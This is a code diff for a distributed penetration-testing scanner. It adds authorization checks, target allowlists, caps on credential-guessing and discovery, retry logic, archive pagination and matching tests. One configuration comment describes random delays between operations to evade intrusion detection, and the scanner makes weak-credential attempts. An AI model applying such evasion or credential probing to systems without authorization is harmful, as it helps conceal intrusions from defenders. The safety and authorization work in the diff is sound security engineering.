"GRAYBOX_STATEFUL_ACTION_BUDGET": 1, + "SCAN_TARGET_ALLOWLIST": [], # Dune sand walking - random delays between operations to evade IDS detection "SCAN_MIN_RND_DELAY": 0.0, # minimum delay in seconds (0 = disabled) @@ -1174,7 +1182,16 @@ def _build_job_archive(self, job_key, job_specs): return # 7. Verify CID is retrievable - if artifacts.get_json(job_cid) is None: + from .services.resilience import run_bounded_retry + archive_verify_retries = max(int(getattr(self, "cfg_archive_verify_retries", 1) or 1), 1) + verified_archive = run_bounded_retry( + self, + "archive_verify", + archive_verify_retries, + lambda: artifacts.get_json(job_cid), + is_success=lambda payload: isinstance(payload, dict) and payload.get("job_id") == job_id, + ) + if verified_archive is None: self.P(f"Archive CID {job_cid} not retrievable after write for {job_id}", color='r') return @@ -1501,6 +1518,11 @@ def launch_network_scan( created_by_name: str = "", created_by_id: str = "", nr_local_workers: int = 0, + target_confirmation: str = "", + scope_id: str = "", + authorization_ref: str = "", + engagement_metadata: dict = None, + target_allowlist: list[str] = None, ): """Launch a network scan using network-specific validation and worker slicing.""" return launch_network_scan( @@ -1527,6 +1549,11 @@ def launch_network_scan( created_by_name=created_by_name, created_by_id=created_by_id, nr_local_workers=nr_local_workers, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, ) @BasePlugin.endpoint(method="post") @@ -1558,6 +1585,11 @@ def launch_webapp_scan( verify_tls: bool = True, target_config: dict = None, allow_stateful_probes: bool = False, + target_confirmation: str = "", + scope_id: str = "", + authorization_ref: str = "", + engagement_metadata: dict = None, + target_allowlist: list[str] = None, ): """Launch a graybox webapp scan using webapp-specific validation and mirrored worker assignment.""" return launch_webapp_scan( @@ -1588,6 +1620,11 @@ def launch_webapp_scan( verify_tls=verify_tls, target_config=target_config, allow_stateful_probes=allow_stateful_probes, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, ) @BasePlugin.endpoint(method="post") @@ -1626,6 +1663,11 @@ def launch_test( verify_tls: bool = True, target_config: dict = None, allow_stateful_probes: bool = False, + target_confirmation: str = "", + scope_id: str = "", + authorization_ref: str = "", + engagement_metadata: dict = None, + target_allowlist: list[str] = None, ): """Compatibility shim that routes to scan-type-specific launch endpoints.""" return launch_test( @@ -1664,6 +1706,11 @@ def launch_test( verify_tls=verify_tls, target_config=target_config, allow_stateful_probes=allow_stateful_probes, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, ) @@ -1693,9 +1740,21 @@ def get_job_data(self, job_id: str): @BasePlugin.endpoint - def get_job_archive(self, job_id: str): + def get_job_archive( + self, + job_id: str, + summary_only: bool = False, + pass_offset: int = 0, + pass_limit: int = 0, + ): """Retrieve the full job archive from R1FS.""" - return get_job_archive(self, job_id) + return get_job_archive( + self, + job_id, + summary_only=summary_only, + pass_offset=pass_offset, + pass_limit=pass_limit, + ) @BasePlugin.endpoint def get_job_triage(self, job_id: str, finding_id: str = ""): diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py index 6f3b525f..33163c39 100644 --- a/extensions/business/cybersec/red_mesh/services/launch_api.py +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -1,3 +1,4 @@ +from copy import deepcopy from urllib.parse import urlparse from ..constants import ( @@ -29,6 +30,203 @@ def validation_error(message: str): return {"error": "validation_error", "message": message} +def _normalize_allowlist(entries): + if not entries: + return [] + if not isinstance(entries, (str, list, tuple, set)): + return [] + if isinstance(entries, str): + entries = [entries] + normalized = [] + for entry in entries: + value = str(entry).strip() + if value: + normalized.append(value.lower()) + return normalized + + +def _split_allowlist_entries(entries): + hosts = [] + scopes = [] + for entry in _normalize_allowlist(entries): + if entry.startswith("/"): + scopes.append(entry) + continue + if "://" in entry: + parsed = urlparse(entry) + if parsed.hostname: + hosts.append(parsed.hostname.lower()) + if parsed.path and parsed.path != "/": + scopes.append(parsed.path.rstrip("/")) + continue + hosts.append(entry) + return hosts, scopes + + +def _host_in_allowlist(hostname: str, entries) -> bool: + hostname = (hostname or "").strip().lower() + if not hostname: + return False + hosts, _ = _split_allowlist_entries(entries) + if not hosts: + return True + return any(hostname == entry or hostname.endswith("." + entry) for entry in hosts) + + +def _scope_in_allowlist(scope_prefix: str, entries) -> bool: + _, scopes = _split_allowlist_entries(entries) + if not scopes: + return True + scope_prefix = (scope_prefix or "").strip() + if not scope_prefix: + return False + return any(scope_prefix.startswith(entry) for entry in scopes) + + +def _extract_scope_prefix(target_config) -> str: + if not isinstance(target_config, dict): + return "" + discovery = target_config.get("discovery") or {} + if not isinstance(discovery, dict): + return "" + return str(discovery.get("scope_prefix", "") or "") + + +def _extract_discovery_max_pages(target_config) -> int: + if not isinstance(target_config, dict): + return 50 + discovery = target_config.get("discovery") or {} + if not isinstance(discovery, dict): + return 50 + try: + return max(int(discovery.get("max_pages", 50) or 50), 1) + except (TypeError, ValueError): + return 50 + + +def _validate_authorization_context( + owner, + *, + target_host: str, + scan_type: str, + authorized: bool, + target_confirmation: str, + scope_id: str, + authorization_ref: str, + engagement_metadata, + target_allowlist, + target_config, +): + if not authorized: + return None, validation_error("Scan authorization required. Confirm you are authorized to scan this target.") + if engagement_metadata is not None and not isinstance(engagement_metadata, dict): + return None, validation_error("engagement_metadata must be a JSON object when provided") + + normalized_host = (target_host or "").strip().lower() + normalized_confirmation = (target_confirmation or "").strip().lower() + if normalized_confirmation and normalized_confirmation != normalized_host: + return None, validation_error( + f"target_confirmation must echo the resolved target host ({normalized_host})" + ) + + normalized_allowlist = _normalize_allowlist( + target_allowlist or getattr(owner, "cfg_scan_target_allowlist", []) + ) + if normalized_allowlist and not _host_in_allowlist(normalized_host, normalized_allowlist): + return None, validation_error( + f"Target {normalized_host} is outside the configured allowlist." + ) + + scope_prefix = _extract_scope_prefix(target_config) + if scan_type == ScanType.WEBAPP.value and scope_prefix and normalized_allowlist: + if not _scope_in_allowlist(scope_prefix, normalized_allowlist): + return None, validation_error( + f"Configured discovery scope {scope_prefix} is outside the configured allowlist." + ) + + return { + "target_confirmation": normalized_confirmation or normalized_host, + "scope_id": str(scope_id or "").strip(), + "authorization_ref": str(authorization_ref or "").strip(), + "engagement_metadata": deepcopy(engagement_metadata) if isinstance(engagement_metadata, dict) else None, + "target_allowlist": normalized_allowlist or None, + }, None + + +def _apply_launch_safety_policy( + owner, + *, + scan_type: str, + active_peers: list[str], + nr_local_workers: int, + scan_min_delay: float, + max_weak_attempts: int, + target_config, + allow_stateful_probes: bool, + verify_tls: bool, +): + warnings = [] + policy = {"scan_type": scan_type} + target_config_dict = deepcopy(target_config) if isinstance(target_config, dict) else target_config + + if scan_type == ScanType.NETWORK.value: + concurrency_budget = max(len(active_peers or []), 1) * max(int(nr_local_workers or 1), 1) + warning_threshold = max(int(getattr(owner, "cfg_network_concurrency_warning_threshold", 16) or 16), 1) + policy.update({ + "concurrency_budget": concurrency_budget, + "recommended_concurrency_budget": warning_threshold, + "scan_min_delay": scan_min_delay, + }) + if concurrency_budget > warning_threshold: + warnings.append( + f"Requested network concurrency {concurrency_budget} exceeds recommended threshold {warning_threshold}." + ) + policy["warnings"] = warnings + return max_weak_attempts, target_config_dict, allow_stateful_probes, policy + + auth_budget = max(int(getattr(owner, "cfg_graybox_auth_attempt_budget", 10) or 10), 1) + discovery_budget = max(int(getattr(owner, "cfg_graybox_route_discovery_budget", 100) or 100), 1) + stateful_budget = max(int(getattr(owner, "cfg_graybox_stateful_action_budget", 1) or 0), 0) + + requested_attempts = max(int(max_weak_attempts or 0), 0) + effective_attempts = min(requested_attempts, auth_budget) + if requested_attempts > effective_attempts: + warnings.append( + f"max_weak_attempts capped from {requested_attempts} to policy budget {effective_attempts}." + ) + + requested_pages = _extract_discovery_max_pages(target_config_dict) + effective_pages = min(requested_pages, discovery_budget) + if isinstance(target_config_dict, dict): + discovery = dict(target_config_dict.get("discovery") or {}) + discovery["max_pages"] = effective_pages + target_config_dict["discovery"] = discovery + if requested_pages > effective_pages: + warnings.append( + f"discovery.max_pages capped from {requested_pages} to policy budget {effective_pages}." + ) + + effective_stateful = bool(allow_stateful_probes and stateful_budget > 0) + if allow_stateful_probes and not effective_stateful: + warnings.append("Stateful graybox probes were disabled by policy budget.") + elif effective_stateful: + warnings.append("Stateful graybox probes are enabled. Use only for explicitly approved workflows.") + + if not verify_tls: + warnings.append("TLS verification is disabled for an authenticated scan.") + + policy.update({ + "auth_attempt_budget": auth_budget, + "effective_auth_attempt_budget": effective_attempts, + "route_discovery_budget": discovery_budget, + "effective_route_discovery_budget": effective_pages, + "stateful_action_budget": stateful_budget, + "effective_stateful_action_budget": 1 if effective_stateful else 0, + "warnings": warnings, + }) + return effective_attempts, target_config_dict, effective_stateful, policy + + def parse_exceptions(owner, exceptions): """Normalize port-exception input to a list of ints.""" if not exceptions: @@ -203,6 +401,12 @@ def announce_launch( verify_tls, target_config, allow_stateful_probes, + target_confirmation, + scope_id, + authorization_ref, + engagement_metadata, + target_allowlist, + safety_policy, ): """Persist immutable config, announce job in CStore, and return launch response.""" excluded_features, enabled_features = resolve_enabled_features( @@ -244,6 +448,12 @@ def announce_launch( created_by_name=created_by_name or "", created_by_id=created_by_id or "", authorized=True, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, + safety_policy=safety_policy, scan_type=scan_type, target_url=target_url, official_username=official_username, @@ -335,6 +545,10 @@ def announce_launch( "enabled_features_count": len(enabled_features), "redact_credentials": redact_credentials, "ics_safe_mode": ics_safe_mode, + "scope_id": scope_id, + "authorization_ref": authorization_ref, + "has_target_allowlist": bool(target_allowlist), + "safety_warning_count": len((safety_policy or {}).get("warnings", [])), }) all_network_jobs = _job_repo(owner).list_jobs() @@ -378,10 +592,13 @@ def launch_network_scan( created_by_name="", created_by_id="", nr_local_workers=0, + target_confirmation="", + scope_id="", + authorization_ref="", + engagement_metadata=None, + target_allowlist=None, ): """Launch a network scan using network-specific validation and worker slicing.""" - if not authorized: - return validation_error("Scan authorization required. Confirm you are authorized to scan this target.") if not target: return validation_error("target required for network scan") @@ -404,6 +621,33 @@ def launch_network_scan( if peer_error: return peer_error + authorization_context, auth_error = _validate_authorization_context( + owner, + target_host=target, + scan_type=ScanType.NETWORK.value, + authorized=authorized, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, + target_config=None, + ) + if auth_error: + return auth_error + + max_weak_attempts, target_config, allow_stateful_probes, safety_policy = _apply_launch_safety_policy( + owner, + scan_type=ScanType.NETWORK.value, + active_peers=active_peers, + nr_local_workers=options["nr_local_workers"], + scan_min_delay=options["scan_min_delay"], + max_weak_attempts=5, + target_config=None, + allow_stateful_probes=False, + verify_tls=True, + ) + workers, worker_error = build_network_workers( owner, active_peers, @@ -450,6 +694,12 @@ def launch_network_scan( verify_tls=True, target_config=None, allow_stateful_probes=False, + target_confirmation=authorization_context["target_confirmation"], + scope_id=authorization_context["scope_id"], + authorization_ref=authorization_context["authorization_ref"], + engagement_metadata=authorization_context["engagement_metadata"], + target_allowlist=authorization_context["target_allowlist"], + safety_policy=safety_policy, ) @@ -482,10 +732,13 @@ def launch_webapp_scan( verify_tls=True, target_config=None, allow_stateful_probes=False, + target_confirmation="", + scope_id="", + authorization_ref="", + engagement_metadata=None, + target_allowlist=None, ): """Launch a graybox webapp scan using webapp-specific validation and mirrored worker assignment.""" - if not authorized: - return validation_error("Scan authorization required. Confirm you are authorized to scan this target.") if not target_url: return validation_error("target_url required for webapp scan") if not official_username or not official_password: @@ -498,6 +751,21 @@ def launch_webapp_scan( target = parsed.hostname target_port = parsed.port or (443 if parsed.scheme == "https" else 80) + authorization_context, auth_error = _validate_authorization_context( + owner, + target_host=target, + scan_type=ScanType.WEBAPP.value, + authorized=authorized, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, + target_config=target_config, + ) + if auth_error: + return auth_error + options = normalize_common_launch_options( owner, distribution_strategy=DISTRIBUTION_MIRROR, @@ -512,6 +780,18 @@ def launch_webapp_scan( if peer_error: return peer_error + max_weak_attempts, target_config, allow_stateful_probes, safety_policy = _apply_launch_safety_policy( + owner, + scan_type=ScanType.WEBAPP.value, + active_peers=active_peers, + nr_local_workers=1, + scan_min_delay=options["scan_min_delay"], + max_weak_attempts=max_weak_attempts, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, + verify_tls=verify_tls, + ) + workers, worker_error = build_webapp_workers(owner, active_peers, target_port) if worker_error: return worker_error @@ -552,6 +832,12 @@ def launch_webapp_scan( verify_tls=verify_tls, target_config=target_config, allow_stateful_probes=allow_stateful_probes, + target_confirmation=authorization_context["target_confirmation"], + scope_id=authorization_context["scope_id"], + authorization_ref=authorization_context["authorization_ref"], + engagement_metadata=authorization_context["engagement_metadata"], + target_allowlist=authorization_context["target_allowlist"], + safety_policy=safety_policy, ) @@ -592,6 +878,11 @@ def launch_test( verify_tls=True, target_config=None, allow_stateful_probes=False, + target_confirmation="", + scope_id="", + authorization_ref="", + engagement_metadata=None, + target_allowlist=None, ): """Compatibility shim that routes to scan-type-specific launch endpoints.""" try: @@ -627,6 +918,11 @@ def launch_test( verify_tls=verify_tls, target_config=target_config, allow_stateful_probes=allow_stateful_probes, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, ) return owner.launch_network_scan( @@ -652,4 +948,9 @@ def launch_test( created_by_name=created_by_name, created_by_id=created_by_id, nr_local_workers=nr_local_workers, + target_confirmation=target_confirmation, + scope_id=scope_id, + authorization_ref=authorization_ref, + engagement_metadata=engagement_metadata, + target_allowlist=target_allowlist, ) diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index 22048701..883e83bd 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -17,6 +17,48 @@ def _artifact_repo(owner): return ArtifactRepository(owner) +def _summarize_archive_passes(passes: list[dict]) -> list[dict]: + summaries = [] + for pass_data in passes or []: + if not isinstance(pass_data, dict): + continue + findings = pass_data.get("findings") or [] + summaries.append({ + "pass_nr": pass_data.get("pass_nr"), + "date_started": pass_data.get("date_started"), + "date_completed": pass_data.get("date_completed"), + "duration": pass_data.get("duration"), + "risk_score": pass_data.get("risk_score", 0), + "quick_summary": pass_data.get("quick_summary"), + "llm_failed": pass_data.get("llm_failed", False), + "aggregated_report_cid": pass_data.get("aggregated_report_cid", ""), + "worker_count": len(pass_data.get("worker_reports") or {}), + "findings_count": len(findings), + }) + return summaries + + +def _paginate_archive_passes(archive: dict, *, summary_only: bool, pass_offset: int, pass_limit: int): + all_passes = list(archive.get("passes", []) or []) + total_passes = len(all_passes) + pass_offset = max(int(pass_offset or 0), 0) + pass_limit = max(int(pass_limit or 0), 0) + selected = all_passes[pass_offset:] + if pass_limit > 0: + selected = selected[:pass_limit] + archive = dict(archive) + archive["passes"] = _summarize_archive_passes(selected) if summary_only else selected + archive["archive_query"] = { + "summary_only": bool(summary_only), + "pass_offset": pass_offset, + "pass_limit": pass_limit, + "total_passes": total_passes, + "returned_passes": len(selected), + "truncated": pass_offset > 0 or (pass_limit > 0 and pass_offset + len(selected) < total_passes), + } + return archive + + def get_job_data(owner, job_id: str): """ Retrieve job data from CStore. @@ -50,11 +92,22 @@ def get_job_data(owner, job_id: str): } -def get_job_archive(owner, job_id: str): +def get_job_archive(owner, job_id: str, summary_only: bool = False, pass_offset: int = 0, pass_limit: int = 0): """ Retrieve the full archived job payload from R1FS for finalized jobs. """ - return get_job_archive_with_triage(owner, job_id) + result = get_job_archive_with_triage(owner, job_id) + if "archive" not in result: + return result + if summary_only or int(pass_offset or 0) > 0 or int(pass_limit or 0) > 0: + result = dict(result) + result["archive"] = _paginate_archive_passes( + result["archive"], + summary_only=summary_only, + pass_offset=pass_offset, + pass_limit=pass_limit, + ) + return result def get_job_progress(owner, job_id: str): diff --git a/extensions/business/cybersec/red_mesh/services/resilience.py b/extensions/business/cybersec/red_mesh/services/resilience.py new file mode 100644 index 00000000..233980bf --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/resilience.py @@ -0,0 +1,52 @@ +def _safe_log(owner, message: str, color: str = None): + logger = getattr(owner, "P", None) + if callable(logger): + if color is None: + logger(message) + else: + logger(message, color=color) + + +def _safe_audit(owner, event: str, payload: dict): + audit = getattr(owner, "_log_audit_event", None) + if callable(audit): + audit(event, payload) + + +def run_bounded_retry(owner, action: str, attempts: int, operation, is_success=None): + """Run a side-effecting operation with bounded retries and observable logs.""" + attempts = max(int(attempts or 1), 1) + last_result = None + last_error = None + success_check = is_success or (lambda value: bool(value)) + + for attempt in range(1, attempts + 1): + try: + last_result = operation() + if success_check(last_result): + if attempt > 1: + _safe_log(owner, f"[RETRY] {action} succeeded on attempt {attempt}/{attempts}") + _safe_audit(owner, "retry_recovered", { + "action": action, + "attempt": attempt, + "attempts": attempts, + }) + return last_result + _safe_log(owner, f"[RETRY] {action} attempt {attempt}/{attempts} did not meet success criteria", color='y') + except Exception as exc: + last_error = exc + last_result = None + _safe_log(owner, f"[RETRY] {action} attempt {attempt}/{attempts} failed: {exc}", color='y') + + if attempt < attempts: + _safe_audit(owner, "retry_attempt", { + "action": action, + "attempt": attempt, + "attempts": attempts, + }) + + payload = {"action": action, "attempts": attempts} + if last_error is not None: + payload["error"] = str(last_error) + _safe_audit(owner, "retry_exhausted", payload) + return last_result diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 6c6fe47a..54aacca7 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -108,6 +108,11 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin.cfg_scanner_identity = "" plugin.cfg_scanner_user_agent = "" plugin.cfg_nr_local_workers = 2 + plugin.cfg_scan_target_allowlist = [] + plugin.cfg_network_concurrency_warning_threshold = 16 + plugin.cfg_graybox_auth_attempt_budget = 10 + plugin.cfg_graybox_route_discovery_budget = 100 + plugin.cfg_graybox_stateful_action_budget = 1 plugin.cfg_llm_agent_api_enabled = False plugin.cfg_ics_safe_mode = False plugin.cfg_scan_min_rnd_delay = 0 @@ -380,6 +385,72 @@ def test_launch_network_scan_requires_authorization_with_structured_error(self): self.assertEqual(result["error"], "validation_error") self.assertIn("authorization", result["message"].lower()) + def test_launch_network_scan_rejects_target_confirmation_mismatch(self): + """Target confirmation must echo the resolved target host.""" + plugin = self._build_mock_plugin(job_id="test-job-confirm") + result = self._launch_network(plugin, target="example.com", target_confirmation="other.example.com", authorized=True) + self.assertEqual(result["error"], "validation_error") + self.assertIn("target_confirmation", result["message"]) + + def test_launch_webapp_scan_enforces_target_allowlist(self): + """Webapp targets outside the allowlist are rejected before launch.""" + plugin = self._build_mock_plugin(job_id="test-job-allowlist") + result = self._launch_webapp( + plugin, + target_url="https://example.com/app", + target_allowlist=["internal.example.org"], + ) + self.assertEqual(result["error"], "validation_error") + self.assertIn("allowlist", result["message"]) + + def test_launch_webapp_scan_persists_authorization_context(self): + """Authorization metadata is stored in immutable job config and audit context.""" + plugin = self._build_mock_plugin(job_id="test-job-authctx") + plugin._log_audit_event = MagicMock() + + self._launch_webapp( + plugin, + target_confirmation="example.com", + scope_id="scope-123", + authorization_ref="TICKET-42", + engagement_metadata={"ticket": "TICKET-42", "owner": "alice"}, + target_allowlist=["example.com", "/api/"], + target_config={"discovery": {"scope_prefix": "/api/"}}, + ) + + config_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertEqual(config_dict["target_confirmation"], "example.com") + self.assertEqual(config_dict["scope_id"], "scope-123") + self.assertEqual(config_dict["authorization_ref"], "TICKET-42") + self.assertEqual(config_dict["engagement_metadata"]["owner"], "alice") + self.assertEqual(config_dict["target_allowlist"], ["example.com", "/api/"]) + audit_payload = plugin._log_audit_event.call_args[0][1] + self.assertEqual(audit_payload["scope_id"], "scope-123") + self.assertEqual(audit_payload["authorization_ref"], "TICKET-42") + + def test_launch_webapp_scan_applies_safety_policy_caps(self): + """Graybox launch policy caps weak-auth and discovery budgets and records warnings.""" + plugin = self._build_mock_plugin(job_id="test-job-policy") + plugin.cfg_graybox_auth_attempt_budget = 3 + plugin.cfg_graybox_route_discovery_budget = 20 + plugin.cfg_graybox_stateful_action_budget = 0 + + self._launch_webapp( + plugin, + max_weak_attempts=9, + allow_stateful_probes=True, + verify_tls=False, + target_config={"discovery": {"scope_prefix": "/api/", "max_pages": 50}}, + ) + + config_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertEqual(config_dict["max_weak_attempts"], 3) + self.assertEqual(config_dict["target_config"]["discovery"]["max_pages"], 20) + self.assertFalse(config_dict["allow_stateful_probes"]) + warnings = config_dict["safety_policy"]["warnings"] + self.assertTrue(any("capped" in warning for warning in warnings)) + self.assertTrue(any("TLS verification is disabled" in warning for warning in warnings)) + def test_launch_test_rejects_invalid_scan_type(self): """Compatibility endpoint rejects unknown scan types with a structured error.""" plugin = self._build_mock_plugin(job_id="test-job-badtype") @@ -1712,6 +1783,29 @@ def test_archive_verify_failure_no_prune(self): plugin.chainstore_hset.assert_not_called() + def test_archive_verify_retries_before_prune(self): + """Archive verification retries transient read-after-write failures before pruning CStore.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + plugin.cfg_archive_verify_retries = 3 + verify_attempts = {"count": 0} + orig_get = plugin.r1fs.get_json.side_effect + + def flaky_get(cid): + if cid == "QmArchiveCID": + verify_attempts["count"] += 1 + if verify_attempts["count"] < 3: + return None + return {"job_id": "test-job"} + return orig_get(cid) + + plugin.r1fs.get_json.side_effect = flaky_get + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + self.assertEqual(verify_attempts["count"], 3) + plugin.chainstore_hset.assert_called_once() + def test_stuck_recovery(self): """FINALIZED without job_cid -> _build_job_archive retried via _maybe_finalize_pass.""" Plugin = self._get_plugin_class() @@ -2185,6 +2279,75 @@ def test_get_job_archive_r1fs_failure(self): result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "fetch_failed") + def test_get_job_archive_summary_only(self): + """Summary mode returns bounded pass-history summaries instead of full pass payloads.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "fin-job", + "passes": [ + { + "pass_nr": 1, + "date_started": 1.0, + "date_completed": 2.0, + "duration": 1.0, + "risk_score": 10, + "quick_summary": "pass 1", + "aggregated_report_cid": "QmAgg1", + "worker_reports": {"node-A": {}}, + "findings": [{"finding_id": "f-1"}], + }, + { + "pass_nr": 2, + "date_started": 2.0, + "date_completed": 3.0, + "duration": 1.0, + "risk_score": 12, + "quick_summary": "pass 2", + "aggregated_report_cid": "QmAgg2", + "worker_reports": {"node-A": {}, "node-B": {}}, + "findings": [{"finding_id": "f-2"}, {"finding_id": "f-3"}], + }, + ], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + + result = Plugin.get_job_archive(plugin, job_id="fin-job", summary_only=True, pass_limit=1) + + self.assertEqual(result["archive"]["archive_query"]["returned_passes"], 1) + self.assertTrue(result["archive"]["archive_query"]["summary_only"]) + self.assertEqual(result["archive"]["passes"][0]["findings_count"], 1) + self.assertNotIn("findings", result["archive"]["passes"][0]) + + def test_get_job_archive_paginated_passes(self): + """Archive queries can page pass history without dropping the rest of the archive contract.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "fin-job", + "passes": [{"pass_nr": 1}, {"pass_nr": 2}, {"pass_nr": 3}], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + + result = Plugin.get_job_archive(plugin, job_id="fin-job", pass_offset=1, pass_limit=1) + + self.assertEqual([p["pass_nr"] for p in result["archive"]["passes"]], [2]) + self.assertTrue(result["archive"]["archive_query"]["truncated"]) + def test_update_finding_triage_persists_mutable_state(self): """Analyst triage updates stay outside archive storage and append audit history.""" Plugin = self._get_plugin_class() diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index 3ecd4de8..a9d35620 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -2,6 +2,7 @@ import unittest from collections import deque from unittest.mock import MagicMock +import requests from .conftest import mock_plugin_modules @@ -59,6 +60,83 @@ def P(self, *_args, **_kwargs): host._attestation_pack_cid_obfuscated("QmAggregatedCid"), ) + def test_submit_test_attestation_retries_transient_failure(self): + from extensions.business.cybersec.red_mesh.mixins.attestation import _AttestationMixin + + class MockHost(_AttestationMixin): + REDMESH_ATTESTATION_DOMAIN = "0x" + ("11" * 32) + + def __init__(self): + self.cfg_attestation_enabled = True + self.cfg_attestation_private_key = "0xprivate" + self.cfg_attestation_retries = 2 + self.ee_addr = "0xlauncher" + self.bc = MagicMock() + self.bc.eth_address = "0xsender" + self.bc.submit_attestation.side_effect = [RuntimeError("temporary"), "0xtxhash"] + + def P(self, *_args, **_kwargs): + return None + + host = MockHost() + result = host._submit_redmesh_test_attestation( + job_id="jobid123", + job_specs={"target": "https://app.example.com", "run_mode": "SINGLEPASS"}, + workers={"0xlauncher": {"report_cid": "QmWorkerCid"}}, + vulnerability_score=7, + node_ips=["10.0.0.10"], + report_cid="QmAggregatedCid", + ) + + self.assertEqual(result["tx_hash"], "0xtxhash") + self.assertEqual(host.bc.submit_attestation.call_count, 2) + + +class TestLlmRetryHardening(unittest.TestCase): + + def test_call_llm_agent_api_retries_transient_connection_error(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent_api_enabled = True + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + self.cfg_llm_agent_api_timeout = 5 + self.cfg_llm_api_retries = 2 + + def P(self, *_args, **_kwargs): + return None + + def Pd(self, *_args, **_kwargs): + return None + + class Response: + status_code = 200 + + @staticmethod + def json(): + return {"analysis": "ok"} + + host = MockHost() + original_post = requests.post + calls = {"count": 0} + + def flaky_post(*_args, **_kwargs): + calls["count"] += 1 + if calls["count"] == 1: + raise requests.exceptions.ConnectionError("temporary") + return Response() + + requests.post = flaky_post + try: + result = host._call_llm_agent_api("/analyze_scan", payload={"scan_results": {}}) + finally: + requests.post = original_post + + self.assertEqual(result["analysis"], "ok") + self.assertEqual(calls["count"], 2) + class TestAuditLogHardening(unittest.TestCase): From 614d35c8d0d31312e2ae1b8d0de9763d688e156a Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 19:47:27 +0000 Subject: [PATCH 089/114] test: add redmesh regression and contract suites --- .../cybersec/red_mesh/tests/README.md | 49 ++++++++ .../cybersec/red_mesh/tests/test_contracts.py | 108 ++++++++++++++++++ .../red_mesh/tests/test_regressions.py | 108 ++++++++++++++++++ 3 files changed, 265 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/tests/README.md create mode 100644 extensions/business/cybersec/red_mesh/tests/test_contracts.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_regressions.py diff --git a/extensions/business/cybersec/red_mesh/tests/README.md b/extensions/business/cybersec/red_mesh/tests/README.md new file mode 100644 index 00000000..5cf522e2 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/README.md @@ -0,0 +1,49 @@ +# RedMesh Test Layers + +This suite is intentionally layered so refactors can target one architecture boundary at a time. + +## Repositories + +- `test_repositories.py` + +## Launch and Orchestration Services + +- `test_launch_service.py` +- `test_state_machine.py` +- `test_api.py` +- `test_integration.py` +- `test_regressions.py` + +## Workers and Graybox Runtime + +- `test_base_worker.py` +- `test_worker.py` +- `test_auth.py` +- `test_discovery.py` +- `test_safety.py` +- `test_target_config.py` + +## Probe Families + +- `test_probes.py` +- `test_probes_access.py` +- `test_probes_business.py` +- `test_probes_injection.py` +- `test_probes_misconfig.py` + +## Normalization and Contracts + +- `test_normalization.py` +- `test_graybox_finding.py` +- `test_jobconfig_webapp.py` +- `test_contracts.py` +- `test_hardening.py` + +## Suggested Layered Runs + +```bash +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest -q extensions/business/cybersec/red_mesh/tests/test_repositories.py +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest -q extensions/business/cybersec/red_mesh/tests/test_launch_service.py extensions/business/cybersec/red_mesh/tests/test_api.py extensions/business/cybersec/red_mesh/tests/test_integration.py extensions/business/cybersec/red_mesh/tests/test_regressions.py +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest -q extensions/business/cybersec/red_mesh/tests/test_worker.py extensions/business/cybersec/red_mesh/tests/test_auth.py 